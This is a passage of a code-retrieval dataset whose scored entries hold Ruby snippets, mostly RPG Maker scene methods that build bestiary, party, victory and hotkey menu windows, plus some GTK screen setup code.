"docid": "07bd1f36bb0c8acdf95d0752518d9cd8",
"score": "0.6299262",
"text": "def start\n super\n if BESTIARY_CONFIG::IMAGE_BG != \"\"\n @bg = Sprite.new\n @bg.bitmap = Cache.picture(BESTIARY_CONFIG::IMAGE_BG)\n @bg.opacity = BESTIARY_CONFIG::IMAGE_BG_OPACITY\n @bg.visible = false\n end\n \n @enemy_name_window = Window_Enemy_Name.new(0, 0, 440, 56)\n @enemy_name_window.visible = false\n @bestiary_info_window = Window_Bestiary_Info.new(440, 0, 200, 56)\n @bestiary_info_window.visible = false\n \n @enemy_status_window = Window_Enemy_Status.new(0, 56, 640, 424)\n @enemy_status_window.visible = false\n\n @enemy_image_window = Window_Enemy_Image.new(0, 56, 200, 260)\n @enemy_image_window.visible = false\n @enemy_image_window.active = false\n \n @enemy_skills_window = Window_Enemy_Skills.new(410, 56, 230, 104)\n @enemy_skills_window.visible = false\n @enemy_skills_window.active = false\n @enemy_skills_window_headers = Window_Selectable_Headers.new(@enemy_skills_window, 18)\n @enemy_skills_window_headers.visible = false\n @enemy_skills_window_headers.addHeader(Vocab::bestiary_skills_header, \n 0,100, 0, Font.selectable_headers_font)\n @enemy_skills_window_headers.addHeader(Vocab::bestiary_skills_cost_header, \n 134,60, 2, Font.selectable_headers_font)\n @enemy_skills_window_headers.refresh()\n\n @enemy_drops_window = Window_Enemy_Drops.new(410, 186, 230, 104)\n @enemy_drops_window.visible = false\n @enemy_drops_window.active = false\n @enemy_drops_window_headers = Window_Selectable_Headers.new(@enemy_drops_window, 18)\n @enemy_drops_window_headers.visible = false\n @enemy_drops_window_headers.addHeader(Vocab::bestiary_drops_header, \n 0,100, 0, Font.selectable_headers_font)\n @enemy_drops_window_headers.addHeader(Vocab::bestiary_drops_chances_header, \n 134,60, 2, Font.selectable_headers_font)\n @enemy_drops_window_headers.refresh()\n\n @equip_details_window = Window_EquipDetails.new(0,384,640,96, nil)\n @equip_details_window.visible = false\n @item_details_window = Window_ItemDetails.new(0,384,640,96, nil)\n @item_details_window.visible = false\n \n @skill_details_window = Window_SkillDetails.new(0,384,640,96, nil)\n @skill_details_window.visible = false\n @enemy_skills_window.detail_window = @skill_details_window\n \n positions = []\n positions.push(CursorPosition.new(Rect.new(@enemy_image_window.x,\n @enemy_image_window.y-56, \n @enemy_image_window.width-32, \n @enemy_image_window.height-32)))\n positions.push(CursorPosition.new(Rect.new(@enemy_skills_window.x, \n @enemy_skills_window.y-56, \n @enemy_skills_window.width-32, \n @enemy_skills_window.height-32)))\n positions.push(CursorPosition.new(Rect.new(@enemy_drops_window.x, \n @enemy_drops_window.y-56, \n @enemy_drops_window.width-32, \n @enemy_drops_window.height-32)))\n \n @command_window = Window_Custom_Selectable.new(0, 56, 640, 424, positions)\n @command_window.opacity = 0\n @command_window.visible = false\n @command_window.active = false\n @command_window.index = 0\n\n @help_window = Window_Info_Help.new(0, 384, 640, 96, nil)\n @help_window.visible = false\n \n @enemy_image_window.help_window = @help_window\n @enemy_skills_window.help_window = @help_window\n @enemy_drops_window.help_window = @help_window\n \n [@enemy_name_window, @bestiary_info_window, @enemy_image_window,\n @enemy_skills_window_headers, @enemy_status_window, @enemy_drops_window_headers,\n @equip_details_window, @item_details_window, @skill_details_window, @help_window].each{\n |w| w.opacity = BESTIARY_CONFIG::WINDOW_OPACITY;\n w.back_opacity = BESTIARY_CONFIG::WINDOW_BACK_OPACITY\n }\n\n end",
"title": ""
},
{
"docid": "07bd1f36bb0c8acdf95d0752518d9cd8",
"score": "0.6299262",
"text": "def start\n super\n if BESTIARY_CONFIG::IMAGE_BG != \"\"\n @bg = Sprite.new\n @bg.bitmap = Cache.picture(BESTIARY_CONFIG::IMAGE_BG)\n @bg.opacity = BESTIARY_CONFIG::IMAGE_BG_OPACITY\n @bg.visible = false\n end\n \n @enemy_name_window = Window_Enemy_Name.new(0, 0, 440, 56)\n @enemy_name_window.visible = false\n @bestiary_info_window = Window_Bestiary_Info.new(440, 0, 200, 56)\n @bestiary_info_window.visible = false\n \n @enemy_status_window = Window_Enemy_Status.new(0, 56, 640, 424)\n @enemy_status_window.visible = false\n\n @enemy_image_window = Window_Enemy_Image.new(0, 56, 200, 260)\n @enemy_image_window.visible = false\n @enemy_image_window.active = false\n \n @enemy_skills_window = Window_Enemy_Skills.new(410, 56, 230, 104)\n @enemy_skills_window.visible = false\n @enemy_skills_window.active = false\n @enemy_skills_window_headers = Window_Selectable_Headers.new(@enemy_skills_window, 18)\n @enemy_skills_window_headers.visible = false\n @enemy_skills_window_headers.addHeader(Vocab::bestiary_skills_header, \n 0,100, 0, Font.selectable_headers_font)\n @enemy_skills_window_headers.addHeader(Vocab::bestiary_skills_cost_header, \n 134,60, 2, Font.selectable_headers_font)\n @enemy_skills_window_headers.refresh()\n\n @enemy_drops_window = Window_Enemy_Drops.new(410, 186, 230, 104)\n @enemy_drops_window.visible = false\n @enemy_drops_window.active = false\n @enemy_drops_window_headers = Window_Selectable_Headers.new(@enemy_drops_window, 18)\n @enemy_drops_window_headers.visible = false\n @enemy_drops_window_headers.addHeader(Vocab::bestiary_drops_header, \n 0,100, 0, Font.selectable_headers_font)\n @enemy_drops_window_headers.addHeader(Vocab::bestiary_drops_chances_header, \n 134,60, 2, Font.selectable_headers_font)\n @enemy_drops_window_headers.refresh()\n\n @equip_details_window = Window_EquipDetails.new(0,384,640,96, nil)\n @equip_details_window.visible = false\n @item_details_window = Window_ItemDetails.new(0,384,640,96, nil)\n @item_details_window.visible = false\n \n @skill_details_window = Window_SkillDetails.new(0,384,640,96, nil)\n @skill_details_window.visible = false\n @enemy_skills_window.detail_window = @skill_details_window\n \n positions = []\n positions.push(CursorPosition.new(Rect.new(@enemy_image_window.x,\n @enemy_image_window.y-56, \n @enemy_image_window.width-32, \n @enemy_image_window.height-32)))\n positions.push(CursorPosition.new(Rect.new(@enemy_skills_window.x, \n @enemy_skills_window.y-56, \n @enemy_skills_window.width-32, \n @enemy_skills_window.height-32)))\n positions.push(CursorPosition.new(Rect.new(@enemy_drops_window.x, \n @enemy_drops_window.y-56, \n @enemy_drops_window.width-32, \n @enemy_drops_window.height-32)))\n \n @command_window = Window_Custom_Selectable.new(0, 56, 640, 424, positions)\n @command_window.opacity = 0\n @command_window.visible = false\n @command_window.active = false\n @command_window.index = 0\n\n @help_window = Window_Info_Help.new(0, 384, 640, 96, nil)\n @help_window.visible = false\n \n @enemy_image_window.help_window = @help_window\n @enemy_skills_window.help_window = @help_window\n @enemy_drops_window.help_window = @help_window\n \n [@enemy_name_window, @bestiary_info_window, @enemy_image_window,\n @enemy_skills_window_headers, @enemy_status_window, @enemy_drops_window_headers,\n @equip_details_window, @item_details_window, @skill_details_window, @help_window].each{\n |w| w.opacity = BESTIARY_CONFIG::WINDOW_OPACITY;\n w.back_opacity = BESTIARY_CONFIG::WINDOW_BACK_OPACITY\n }\n\n end",
"title": ""
},
{
"docid": "39cd772c86d5a5bc454f9fe7f56c2173",
"score": "0.62824595",
"text": "def initialize(win,uiManager)\n super(win,\"/../../../Assets/Backgrounds/fond-naturel.png\")\n\n @win = win\n @uiManager = uiManager\n @prevSelection = nil\n\n screen=Gdk::Screen.default\n pathAssets=File.dirname(__FILE__) + \"/../../../Assets/\"\n @buttonSize = screen.height * 0.1\n\n screenTitle=Titre.new(label:\"Mode Classé\", width:screen.width*0.2, height:screen.height*0.05)\n\n # Levels creation\n lvlBox = Gtk::Grid.new\n (1..2).each { |row|\n (1..5).each { |col|\n levelNumber = (row - 1) * 5 + col\n\n lvlInsideBox = Gtk::Grid.new\n lvlText = Text.new(label: \"Niveau \" + levelNumber.to_s, width: screen.width*0.07,height: screen.height*0.15, padding: 0)\n lvlText.setBackground(0.9,0.9,0.9,1)\n\n lvlStartButton = Button.new(image: pathAssets + \"Button/play.png\", imageFocus: pathAssets + \"Button/playFocus.png\", width: @buttonSize,height: @buttonSize, padding: 0)\n lvlStartButton.resizeImage(@buttonSize * 0.5,@buttonSize * 0.5)\n lvlStartButton.resizeImageFocus(@buttonSize * 0.5,@buttonSize * 0.5)\n lvlStartButton.onClick(){\n getNextScreen(levelNumber).call\n }\n\n lvlShowRankButton = Button.new(image: pathAssets + \"Button/cup.png\", imageFocus: pathAssets + \"Button/cupFocus.png\", width: @buttonSize,height: @buttonSize, padding: 0)\n lvlShowRankButton.resizeImage(@buttonSize,@buttonSize)\n lvlShowRankButton.resizeImageFocus(@buttonSize,@buttonSize)\n lvlShowRankButton.onClick(){\n @vp.each { |child|\n @vp.remove(child)\n }\n @vp.add(createRankList(levelNumber, lvlShowRankButton))\n @vp.show_all\n }\n if(@prevSelection == nil)\n @prevSelection = lvlShowRankButton\n end\n\n lvlInsideBox.attach(lvlText.gtkObject, 0, 0, 2, 1)\n lvlInsideBox.attach(lvlStartButton.gtkObject, 0, 1, 1, 1)\n lvlInsideBox.attach(lvlShowRankButton.gtkObject, 1, 1, 1, 1)\n lvlInsideBox.set_column_spacing(3)\n lvlInsideBox.override_background_color(:normal,Gdk::RGBA.new(0.9,0.9,0.9,1))\n\n lvlBox.attach(lvlInsideBox, col - 1, row - 1, 1, 1)\n }\n }\n lvlBox.set_row_spacing(2)\n lvlBox.set_column_spacing(2)\n lvlBox.set_halign(Gtk::Align::CENTER)\n\n\n # Score table\n scoreBox = Gtk::Grid.new\n\n numTextH = Text.new(label: \"N°\", width:screen.width*0.08, height:screen.height*0.1,padding: 0)\n numTextH.colorChange(\"white\")\n nicknameTextH = Text.new(label: \"Pseudo\", width:screen.width*0.08, height:screen.height*0.1,padding: 0)\n nicknameTextH.colorChange(\"white\")\n timeTextH = Text.new(label: \"Temps\", width:screen.width*0.08, height:screen.height*0.1,padding: 0)\n timeTextH.colorChange(\"white\")\n\n scoreBox.attach(numTextH.gtkObject, 0, 0, 1, 1)\n scoreBox.attach(nicknameTextH.gtkObject, 1, 0, 1, 1)\n scoreBox.attach(timeTextH.gtkObject, 2, 0, 1, 1)\n\n\n # Scroll Bar score + List creation\n scroll = Gtk::ScrolledWindow.new\n @vp = Gtk::Viewport.new #Implement scrollable\n @vp.add(createRankList(1, @prevSelection))\n scroll.add_with_viewport(@vp)\n scroll.set_propagate_natural_width(true)\n #scroll.set_propagate_natural_height(true)\n scroll.height_request=(screen.height * 0.54)\n\n scoreBox.attach(scroll, 0, 1, 3, 1)\n scoreBox.override_background_color(:normal,Gdk::RGBA.new(0.5,0.5,0.5,1))\n scoreBox.set_halign(Gtk::Align::CENTER)\n\n # Back Button\n backToButton = Button.new(label:\"Retour\", width: screen.width*0.1,height: screen.height*0.08, size: 20)\n backToButton.onClick(){\n @uiManager.victoryScreenType = :normal\n uiManager.gamemode.applyOn(win) if uiManager != nil\n }\n backBox = Gtk::Alignment.new(0.05, 0.5, 0, 0).add(backToButton.gtkObject)\n\n middleBox = Gtk::Table.new(1, 2)\n middleBox.attach(lvlBox, 0, 1, 0, 1)\n middleBox.attach(scoreBox, 1, 2, 0, 1)\n #middleBox.height_request=(screen.height * 0.52)\n\n globalBox = Gtk::Box.new(:vertical)\n globalBox.pack_start(screenTitle.gtkObject, expand: false, fill: false, padding: 20)\n globalBox.pack_start(middleBox, expand: false, fill: false, padding: 20)\n globalBox.pack_start(backBox, expand: false, fill: false, padding: 3)\n\n @gtkObject = Gtk::Table.new(4,4)\n @gtkObject.attach(globalBox,0,4,0,4)\n @gtkObject.attach(Gtk::Image.new(pixbuf: @buffer),0,4,0,4)\n\n end",
"title": ""
},
{
"docid": "d7a3e6090d794d88522dd5435f033d8d",
"score": "0.62788177",
"text": "def main\n # create spriteset\n @spriteset = Spriteset_Map.new\n # create viewport\n @view = Viewport.new(0, 0, 640, 480)\n # set tone to current screen tone\n @view.tone = @tone.clone\n # creat HUD if HUD_ENABLED is turned on and HUD active\n @hud = Hud.new if BlizzABS::Config::HUD_ENABLED && $game_system.hud\n # if hotkey display is turned off\n unless $game_system.assignment\n # create hotkey display\n @hotkeys = Hotkey_Assignment.new\n # set z position\n @hotkeys.z = 5000\n end\n # create sprite\n @choice = Sprite.new\n # create bitmap\n @choice.bitmap = Bitmap.new(16, 9)\n # draw arrow image from BlizzABS Cache\n @choice.bitmap.blt(0, 0, BlizzABS::Cache.image(2), Rect.new(0, 0, 16, 9), 128)\n # set x, y and z positions\n @choice.x, @choice.y, @choice.z = 160, 40, 500\n # set x position offset\n @choice.ox = -8\n # set active flag\n @active = true\n # set index\n @index = 0\n # set up mode flag\n @up_mode = true\n # create modified skill window\n @skill_window = Window_Skill_Hotkey.new($game_player.battler)\n # create modified item window\n @item_window = Window_Item_Hotkey.new\n # set last active\n @last_active = true\n # transtition\n Graphics.transition\n # loop\n loop do\n # update game screen\n Graphics.update\n # update input\n Input.update\n # frame update\n update\n # stop if chosen an option\n break if $scene != self\n end\n # freeze screen\n Graphics.freeze\n # delet spriteset\n @spriteset.dispose\n # delete HUD if HUD exists\n @hud.dispose if @hud != nil\n # delete hotkey display if not hotkey display active\n @hotkeys.dispose unless $game_system.assignment\n # delete choice sprite\n @choice.dispose\n # delete skill window\n @skill_window.dispose\n # delete item window\n @item_window.dispose\n # delete viewport\n @view.dispose\n end",
"title": ""
},
{
"docid": "d7a3e6090d794d88522dd5435f033d8d",
"score": "0.62788177",
"text": "def main\n # create spriteset\n @spriteset = Spriteset_Map.new\n # create viewport\n @view = Viewport.new(0, 0, 640, 480)\n # set tone to current screen tone\n @view.tone = @tone.clone\n # creat HUD if HUD_ENABLED is turned on and HUD active\n @hud = Hud.new if BlizzABS::Config::HUD_ENABLED && $game_system.hud\n # if hotkey display is turned off\n unless $game_system.assignment\n # create hotkey display\n @hotkeys = Hotkey_Assignment.new\n # set z position\n @hotkeys.z = 5000\n end\n # create sprite\n @choice = Sprite.new\n # create bitmap\n @choice.bitmap = Bitmap.new(16, 9)\n # draw arrow image from BlizzABS Cache\n @choice.bitmap.blt(0, 0, BlizzABS::Cache.image(2), Rect.new(0, 0, 16, 9), 128)\n # set x, y and z positions\n @choice.x, @choice.y, @choice.z = 160, 40, 500\n # set x position offset\n @choice.ox = -8\n # set active flag\n @active = true\n # set index\n @index = 0\n # set up mode flag\n @up_mode = true\n # create modified skill window\n @skill_window = Window_Skill_Hotkey.new($game_player.battler)\n # create modified item window\n @item_window = Window_Item_Hotkey.new\n # set last active\n @last_active = true\n # transtition\n Graphics.transition\n # loop\n loop do\n # update game screen\n Graphics.update\n # update input\n Input.update\n # frame update\n update\n # stop if chosen an option\n break if $scene != self\n end\n # freeze screen\n Graphics.freeze\n # delet spriteset\n @spriteset.dispose\n # delete HUD if HUD exists\n @hud.dispose if @hud != nil\n # delete hotkey display if not hotkey display active\n @hotkeys.dispose unless $game_system.assignment\n # delete choice sprite\n @choice.dispose\n # delete skill window\n @skill_window.dispose\n # delete item window\n @item_window.dispose\n # delete viewport\n @view.dispose\n end",
"title": ""
},
{
"docid": "41b1a6fcf30129a7a20d01f4d47ebe20",
"score": "0.62207174",
"text": "def main\n # create spriteset\n @spriteset = Spriteset_Map.new\n # create viewport\n @view = Viewport.new(0, 0, 640, 480)\n # set tone to current screen tone\n @view.tone = @tone.clone\n # create HUD if HUD is turned on and HUD active\n @hud = Hud.new if BlizzABS::Config::HUD_ENABLED && $game_system.hud\n # if ASSIGNMENT is turned\n if BlizzABS::Config::HOTKEYS\n # create assignment display\n @hotkeys = Hotkey_Assignment.new\n # set z position\n @hotkeys.z = 5000\n end\n # if MINIMAP is turned on and minimap active\n if BlizzABS::Config::MINIMAP && $game_system.minimap > 0\n # create minimap\n @minimap = Minimap.new\n end\n # create sprite\n @choice = Sprite.new\n # create bitmap\n @choice.bitmap = $BlizzABS.cache.image('menu_arrow')\n # set x, y and z positions\n @choice.x, @choice.y, @choice.z, @choice.opacity = 160, 40, 500, 128\n # set x position offset\n @choice.ox = -8\n # set active flag\n @active = true\n # set index\n @index = 0\n # set up mode flag\n @up_mode = true\n # create modified skill window\n @skill_window = Window_Skill_Hotkey.new($game_player.battler)\n # create modified item window\n @item_window = Window_Item_Hotkey.new\n # set last active\n @last_active = true\n # transtition\n Graphics.transition\n # loop\n loop do\n # update game screen\n Graphics.update\n # update input\n Input.update\n # frame update\n update\n # stop if chosen an option\n break if $scene != self\n end\n # freeze screen\n Graphics.freeze\n # delete spriteset\n @spriteset.dispose\n # delete HUD elements that exist\n [@hud, @hotkeys, @minimap].each {|s| s.dispose if s != nil}\n # delete choice sprite\n @choice.dispose\n # delete skill window\n @skill_window.dispose\n # delete item window\n @item_window.dispose\n # delete viewport\n @view.dispose\n # while real leader is not first actor in party\n while @party_leader != $game_party.actors[0]\n # switch to next actor\n $BlizzABS.player.switch_leader\n end\n end",
"title": ""
},
{
"docid": "ffeca5405e38ba864dccec5d6c418889",
"score": "0.61839163",
"text": "def set_windows\n\tset_title \"Ruby y GTK+\" #nombre de la ventana\n\tset_default_size 350, 300 #tamaño de la ventana\n\tset_window_position Gtk::Window::POS_CENTER #posicion de la ventana\n\tadd fixed_main([combo_box, menu_bar, boton]) #llama a fixed_main para crear un contenedor\n\tshow_all #muestra todo\n\tsignal_connect \"destroy\" do \n\t Gtk.main_quit #cuando se le da click al boton cerrar se cierra el programa\n\tend\n end",
"title": ""
},
{
"docid": "57d9cbc3303b1679e2b1fce0a397986a",
"score": "0.6166268",
"text": "def start\n super\n create_menu_background()\n \n @gameEnemy = Game_Enemy.new(0, 1)\n @subSceneScan = Sub_Scene_Scan.new\n @subSceneScan.start()\n @subSceneScan.windows_update(@gameEnemy)\n @subSceneScan.show_windows()\n end",
"title": ""
},
{
"docid": "57d9cbc3303b1679e2b1fce0a397986a",
"score": "0.6166268",
"text": "def start\n super\n create_menu_background()\n \n @gameEnemy = Game_Enemy.new(0, 1)\n @subSceneScan = Sub_Scene_Scan.new\n @subSceneScan.start()\n @subSceneScan.windows_update(@gameEnemy)\n @subSceneScan.show_windows()\n end",
"title": ""
},
{
"docid": "a6ed3558818c528ed325929332b5b5e7",
"score": "0.6164822",
"text": "def start\n super\n create_menu_background\n if PARTY_CONFIG::IMAGE_BG != \"\"\n @bg = Sprite.new\n @bg.bitmap = Cache.picture(PARTY_CONFIG::IMAGE_BG)\n @bg.opacity = PARTY_CONFIG::IMAGE_BG_OPACITY\n end\n \n @actor_positions_backup = {}\n for i in 0 .. $game_party.members.size-1\n @actor_positions_backup[$game_party.members[i].id] = $game_party.actor_positions[i]\n end\n @party_order_window = Window_Party_Order.new(160, 0, 480, 156, $game_party.members)\n @party_order_window.active = false\n @party_order_window.index = -1\n\n @command_window = Window_Command.new(160, \n [Vocab::formation_change_command, \n Vocab::formation_order_command, \n Vocab::formation_revert_command])\n @command_window.x = 0\n @command_window.y = 0\n @command_window.height = @party_order_window.height\n @command_window.active = true\n \n @help_window = Window_Info_Help.new(0, 384, 640, 96, nil)\n @battle_formation_details_window = Window_BattleFormationDetails.new(0,384,640,96,nil)\n @battle_formation_details_window.visible = false\n\n @battle_formation_index_backup = $game_party.battle_formation_index\n @battle_formations_window = Window_Battle_Formations.new(0, 156, 640, 228, PARTY_CONFIG::BATTLE_FORMATIONS)\n @battle_formations_window.active = false\n @battle_formations_window.index = $game_party.battle_formation_index\n @battle_formations_window.help_window = @help_window\n @battle_formations_window.detail_window = @battle_formation_details_window\n \n [@help_window, @battle_formation_details_window, @party_order_window,\n @command_window, @battle_formations_window].each{\n |w| w.opacity = PARTY_CONFIG::WINDOW_OPACITY;\n w.back_opacity = PARTY_CONFIG::WINDOW_BACK_OPACITY\n }\n end",
"title": ""
},
{
"docid": "efd3771888e3d31819063bab09e3fef5",
"score": "0.6126055",
"text": "def start\n super\n if VICTORY_CONFIG::IMAGE_BG != \"\"\n @bg = Sprite.new\n @bg.bitmap = Cache.picture(VICTORY_CONFIG::IMAGE_BG)\n @bg.opacity = VICTORY_CONFIG::IMAGE_BG_OPACITY\n end\n \n @help_window = Window_Info_Help.new(0, 0, 640, 56, Vocab::victory_help_text)\n @help_window.cText.align = 1\n @help_window.cText.font.bold = true\n # Refresh for the text alignment\n @help_window.refresh()\n\n if VICTORY_CONFIG::DIVIDE_EXP\n exp_by_actor = (@exp / $game_party.members.size).to_i\n else\n exp_by_actor = @exp\n end\n \n @actor_remaining_exp = []\n @victory_char_info_windows = []\n @victory_new_skill_windows = []\n @victory_level_up_windows = []\n for i in 0 .. $game_party.members.size-1 \n actor_exp = ActorExp.new(exp_by_actor, determine_tick($game_party.members[i].next_exp, exp_by_actor))\n @actor_remaining_exp.push(actor_exp)\n \n if i%2 == 0 \n x = -320\n else\n x = 640\n end\n victory_char_info_window = Window_Victory_Char_Info.new(x, (i/2).to_i*128+168, 320, 128, $game_party.members[i])\n victory_char_info_window.active = false\n @victory_char_info_windows.push(victory_char_info_window)\n\n victory_new_skill_window = Window_Victory_New_Skill.new((i%2)*320, (i/2).to_i*128+168+128-56, 320, 56, nil)\n victory_new_skill_window.active = false\n victory_new_skill_window.visible = false\n @victory_new_skill_windows.push(victory_new_skill_window)\n\n victory_level_up_window = Window_Victory_Level_Up.new((i%2)*320+200, (i/2).to_i*128+168, 120, 56)\n victory_level_up_window.active = false\n victory_level_up_window.visible = false\n victory_level_up_window.opacity = 0\n @victory_level_up_windows.push(victory_level_up_window)\n end\n\n @victory_item_window = Window_Victory_Item.new(160, 488, 320, 256, @drop_items)\n @victory_item_window.active = false\n @victory_item_window.visible = false\n\n @exp_window = Window_Victory_Exp.new(20, 83, 300, 56, @exp)\n @gold_window = Window_Victory_Gold.new(320, 83, 300, 56, @gold)\n\n [@help_window, @victory_item_window, @exp_window, @gold_window]+\n @victory_char_info_windows+@victory_new_skill_windows.each{\n |w| w.opacity = VICTORY_CONFIG::WINDOW_OPACITY;\n w.back_opacity = VICTORY_CONFIG::WINDOW_BACK_OPACITY\n }\n \n end",
"title": ""
},
{
"docid": "5a6ee7609582a003af1bc9c00186509a",
"score": "0.61253214",
"text": "def start\n super\n create_menu_background()\n \n @subScene = Sub_Scene_Implemented.new\n @subScene.start()\n @subScene.windows_update($data_items)\n @subScene.show_windows()\n end",
"title": ""
},
{
"docid": "c01c69d7895ac9116bcab35bc1182b4a",
"score": "0.61251456",
"text": "def start\n super\n create_menu_background()\n if MENU_CONFIG::IMAGE_BG != \"\"\n @bg = Sprite.new\n @bg.bitmap = Cache.picture(MENU_CONFIG::IMAGE_BG)\n @bg.opacity = MENU_CONFIG::IMAGE_BG_OPACITY\n end\n \n @title_window = Window_Outline_Title.new(0, 0, 640, 56)\n @content_window = Window_Outline.new(0, 56, 640, 424)\n \n # Create Window \n @list_window = Window_Outline_List.new(0, 0, 400, 400, Vocab::tutorials_strings)\n width_remain = (640 - @list_window.width)/2\n @list_window.x = width_remain.floor\n height_remain = (480 - @list_window.height)/2\n @list_window.y = height_remain.floor\n end",
"title": ""
},
{
"docid": "a2b679316643b54af9073b1ccfd92a64",
"score": "0.6096502",
"text": "def start\n super\n create_menu_background\n if PARTY_CONFIG::IMAGE_BG != \"\"\n @bg = Sprite.new\n @bg.bitmap = Cache.picture(PARTY_CONFIG::IMAGE_BG)\n @bg.opacity = PARTY_CONFIG::IMAGE_BG_OPACITY\n end\n \n @help_window = Window_Info_Help.new(0, 0, 640, 56, sprintf(Vocab::party_help_text, @nbr_parties))\n @help_window.cText.align = 1\n # Refresh for the text alignment\n @help_window.refresh()\n \n @member_info_window = Window_Member_Info.new(160, 56, 480, 128, nil)\n @member_info_window.visible = false\n @reserve_members_window = Window_Reserve_Members.new(0, 184, 640, 168, $game_faction.reserve_members)\n @reserve_members_window.active = false\n @reserve_members_window.index = -1\n @reserve_members_window.help_window = @member_info_window\n \n @party_members_backup = []\n @party_selection_windows = []\n for i in 0 .. @nbr_parties-1\n @party_members_backup[i] = [$game_faction.game_parties[i].members, $game_faction.game_parties[i].actor_positions]\n party_selection_window = Window_Party_Selection.new(160*i, 352, 160, 128, i, $game_faction.game_parties[i].members)\n party_selection_window.active = false\n party_selection_window.index = -1\n party_selection_window.help_window = @member_info_window\n @party_selection_windows.push(party_selection_window)\n end\n \n @command_window = Window_Command.new(160, \n [Vocab::party_change_command, \n Vocab::party_revert_command, \n Vocab::party_empty_command])\n @command_window.x = 0\n @command_window.y = 56\n @command_window.height = @member_info_window.height\n @command_window.active = true\n \n @status_window = Window_Status.new(nil)\n width_remain = (640 - @status_window.width)/2\n @status_window.x = width_remain.floor\n height_remain = (480 - @status_window.height)/2\n @status_window.y = height_remain.floor\n @status_window.visible = false\n @status_window.active = false\n \n @selected_party_index = -1\n \n [@help_window, @reserve_members_window, @member_info_window,\n @command_window, @status_window]+@party_selection_windows.each{\n |w| w.opacity = PARTY_CONFIG::WINDOW_OPACITY;\n w.back_opacity = PARTY_CONFIG::WINDOW_BACK_OPACITY\n }\n end",
"title": ""
},
{
"docid": "a2b679316643b54af9073b1ccfd92a64",
"score": "0.6096502",
"text": "def start\n super\n create_menu_background\n if PARTY_CONFIG::IMAGE_BG != \"\"\n @bg = Sprite.new\n @bg.bitmap = Cache.picture(PARTY_CONFIG::IMAGE_BG)\n @bg.opacity = PARTY_CONFIG::IMAGE_BG_OPACITY\n end\n \n @help_window = Window_Info_Help.new(0, 0, 640, 56, sprintf(Vocab::party_help_text, @nbr_parties))\n @help_window.cText.align = 1\n # Refresh for the text alignment\n @help_window.refresh()\n \n @member_info_window = Window_Member_Info.new(160, 56, 480, 128, nil)\n @member_info_window.visible = false\n @reserve_members_window = Window_Reserve_Members.new(0, 184, 640, 168, $game_faction.reserve_members)\n @reserve_members_window.active = false\n @reserve_members_window.index = -1\n @reserve_members_window.help_window = @member_info_window\n \n @party_members_backup = []\n @party_selection_windows = []\n for i in 0 .. @nbr_parties-1\n @party_members_backup[i] = [$game_faction.game_parties[i].members, $game_faction.game_parties[i].actor_positions]\n party_selection_window = Window_Party_Selection.new(160*i, 352, 160, 128, i, $game_faction.game_parties[i].members)\n party_selection_window.active = false\n party_selection_window.index = -1\n party_selection_window.help_window = @member_info_window\n @party_selection_windows.push(party_selection_window)\n end\n \n @command_window = Window_Command.new(160, \n [Vocab::party_change_command, \n Vocab::party_revert_command, \n Vocab::party_empty_command])\n @command_window.x = 0\n @command_window.y = 56\n @command_window.height = @member_info_window.height\n @command_window.active = true\n \n @status_window = Window_Status.new(nil)\n width_remain = (640 - @status_window.width)/2\n @status_window.x = width_remain.floor\n height_remain = (480 - @status_window.height)/2\n @status_window.y = height_remain.floor\n @status_window.visible = false\n @status_window.active = false\n \n @selected_party_index = -1\n \n [@help_window, @reserve_members_window, @member_info_window,\n @command_window, @status_window]+@party_selection_windows.each{\n |w| w.opacity = PARTY_CONFIG::WINDOW_OPACITY;\n w.back_opacity = PARTY_CONFIG::WINDOW_BACK_OPACITY\n }\n end",
"title": ""
},
{
"docid": "13a980364fc259d38dcee0d0cfb5ed69",
"score": "0.60505337",
"text": "def start\n super\n create_menu_background()\n if MENU_CONFIG::IMAGE_BG != \"\"\n @bg = Sprite.new\n @bg.bitmap = Cache.picture(MENU_CONFIG::IMAGE_BG)\n @bg.opacity = MENU_CONFIG::IMAGE_BG_OPACITY\n end\n \n create_command_window()\n @status_window = Window_Party_Status.new(0, 0, 480,424, $game_party.members)\n @menu_info_window = Window_Menu_Info.new(0,424,640,56)\n end",
"title": ""
},
{
"docid": "7352ab28d1a4376aea3d7cddd957c5e9",
"score": "0.6039116",
"text": "def start\n super\n\n @skill_details_window = Window_SkillDetails.new(0,384,640,96, nil)\n @skill_details_window.visible = false\n @enemy_skills_window.detail_window = @skill_details_window\n \n @help_window = Window_Info_Help.new(0, 384, 640, 96, nil)\n @help_window.visible = false\n \n @enemy_skills_window.help_window = @help_window\n \n end",
"title": ""
},
{
"docid": "5875f6dc145330ced26b31ec42c089ec",
"score": "0.603647",
"text": "def start\n super\n create_menu_background()\n if MENU_CONFIG::IMAGE_BG != \"\"\n @bg = Sprite.new\n @bg.bitmap = Cache.picture(MENU_CONFIG::IMAGE_BG)\n @bg.opacity = MENU_CONFIG::IMAGE_BG_OPACITY\n end\n \n @actor = $game_party.members[@actor_index]\n @char_image_window = Window_Char_Image.new(-16, 56+16, 640, 424, @actor)\n @char_image_window.opacity = 0\n @char_info_window = Window_Char_Info.new(0, 0, 200, 128, @actor)\n \n @status_window = Window_Status.new(200, 40, 440, 440, @actor)\n \n @status_equip_window = Window_Status_Equip.new(415, 40, 225, 272, @actor)\n @status_equip_window.active = false\n \n @equip_details_window = Window_EquipDetails.new(0,384,640,96,nil)\n @equip_details_window.visible = false\n @item_details_window = Window_ItemDetails.new(0,384,640,96,nil)\n @item_details_window.visible = false\n \n positions = []\n positions.push(CursorPosition.new(Rect.new(@status_equip_window.x,\n @status_equip_window.y, \n @status_equip_window.width-32, \n @status_equip_window.height-32)))\n \n @command_window = Window_Custom_Selectable.new(0, 0, 640, 480, positions)\n @command_window.opacity = 0\n @command_window.visible = true\n @command_window.active = true\n @command_window.index = 0\n \n @help_window = Window_Info_Help.new(0, 384, 640, 96, nil)\n @help_window.visible = false\n \n @status_equip_window.help_window = @help_window\n end",
"title": ""
},
{
"docid": "fc489d68db30d67c10402d2aa8590a92",
"score": "0.60273284",
"text": "def ui() Ironfan.ui ; end",
"title": ""
},
{
"docid": "5bb200d24915e28ee9e77016924a5be1",
"score": "0.60077465",
"text": "def on_sub_crafting_ok\n case @crafting_window.current_symbol\n when :synthesis\n SceneManager.call(Scene_Synthesis)\n when :enhance\n #SceneManager.call(Scene_Status)\n end\n end",
"title": ""
},
{
"docid": "c842d6e990fadec39521133955c1fd99",
"score": "0.59891725",
